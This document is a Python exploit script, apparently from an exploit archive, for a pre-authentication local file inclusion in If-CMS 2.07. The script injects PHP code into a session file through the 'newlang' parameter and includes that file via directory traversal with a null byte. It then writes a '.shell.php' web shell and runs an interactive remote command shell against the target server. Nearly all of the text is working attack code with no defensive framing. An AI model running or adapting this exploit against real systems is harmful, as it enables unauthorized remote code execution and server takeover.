If-CMS 2.07 Local File Inclusion

`#!/usr/bin/python  
# ~INFORMATION  
# Exploit Title: If-CMS 2.07 Pre-Auth Local File Inclusion 0day Exploit  
# Author: TecR0c  
# Date: 13/3/2011  
# Software link: http://bit.ly/hh9ZB4  
# Tested on: Linux bt  
# Version: 2.07  
# PHP.ini Settings: gpc_magic_quotes = Off  
  
import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass  
from optparse import OptionParser  
from urlparse import urlparse,urljoin  
from urllib import urlopen  
from cookielib import CookieJar  
  
__CONTACT__ ="TecR0c([email protected])"  
__DATE__ ="13.3.2011"  
  
usage = 'Example : %s http://localhost/ncms/ -p 127.0.0.1:8080' % __file__  
parser = OptionParser(usage=usage)  
parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",  
help="HTTP Proxy <server>:<port>")  
  
(options, args) = parser.parse_args()  
  
if options.proxy:  
print '[+] Using Proxy'+options.proxy  
  
# User Agents  
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",  
"Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",  
"Google Chrome 0.2.149.29 (Windows XP)",  
"Opera 9.25 (Windows Vista)",  
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",  
"Opera/8.00 (Windows NT 5.1; U; en)"]  
agent = random.choice(agents)  
  
traversal = '../../../../../../../../../../../..'  
sessionLocation = '/var/lib/php5/'  
  
def banner():  
if os.name == "posix":  
os.system("clear")  
else:  
os.system("cls")  
header = '''  
|----------------------------------------|  
|Exploit: If-CMS 2.07 LFI RCE  
|Author: %s  
|Date: %s  
|----------------------------------------|\n  
'''%(__CONTACT__,__DATE__)  
for i in header:  
print "\b%s"%i,  
sys.stdout.flush()  
time.sleep(0.005)  
  
def injectPayload():  
webSiteUrl = url.geturl()+'index.php?newlang=<?php;system(base64_decode($_REQUEST[cmd]));?>'  
try:  
opener.open(webSiteUrl)  
except:  
print '[-] Failed'  
  
def proxyCheck():  
if options.proxy:  
try:  
h2 = httplib.HTTPConnection(options.proxy)  
h2.connect()  
print "[+] Using Proxy Server:",options.proxy  
except(socket.timeout):  
print "[-] Proxy Timed Out\n"  
pass  
sys.exit(1)  
except(NameError):  
print "[-] Proxy Not Given\n"  
pass  
sys.exit(1)  
except:  
print "[-] Proxy Failed\n"  
pass  
sys.exit(1)  
  
def getProxy():  
try:  
proxy_handler = urllib2.ProxyHandler({'http': options.proxy})  
except(socket.timeout):  
print "\n[-] Proxy Timed Out"  
sys.exit(1)  
return proxy_handler  
  
cj = CookieJar()  
if options.proxy:  
opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))  
else:  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
opener.addheaders = [('User-agent', agent)]  
  
def postRequestWebShell(encodedCommand):  
webSiteUrl = url.geturl()+'.shell.php'  
commandToExecute = [  
('cmd',encodedCommand)]  
cmdData = urllib.urlencode(commandToExecute)  
try:  
response = opener.open(webSiteUrl, cmdData).read()  
except:  
print '[-] Failed'  
sys.exit()  
return response  
  
def writeOutShell(encodedCommand):  
cookieString = str(cj)  
cookieSearch = re.compile(r"PHPSESSID=(.*) f")  
session_value = cookieSearch.search(cookieString)  
if session_value:  
session_value = session_value.group(1)  
cj.clear()  
webSiteUrl = url.geturl()+'index.php?cmd='+encodedCommand+'&newlang='+traversal+sessionLocation+'sess_'+session_value+'%00'  
try:  
opener.open(webSiteUrl)  
except:  
print '[-] Failed'  
sys.exit()  
  
def commandLine():  
encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"  
encodedCommand = base64.b64encode(encodedCommand)  
writeOutShell(encodedCommand)  
commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)  
while True:  
try:  
command = raw_input(commandLine)  
encodedCommand = base64.b64encode(command)  
response = postRequestWebShell(encodedCommand)  
print response  
except KeyboardInterrupt:  
encodedCommand = base64.b64encode('rm .shell.php')  
postRequestWebShell(encodedCommand)  
print "\n[!] Removed .shell.php\n"  
sys.exit()  
  
if "__main__" == __name__:  
banner()  
try:  
url=urlparse(args[0])  
except:  
parser.print_help()  
sys.exit()  
getProxy()  
proxyCheck()  
injectPayload()  
commandLine()  
  
`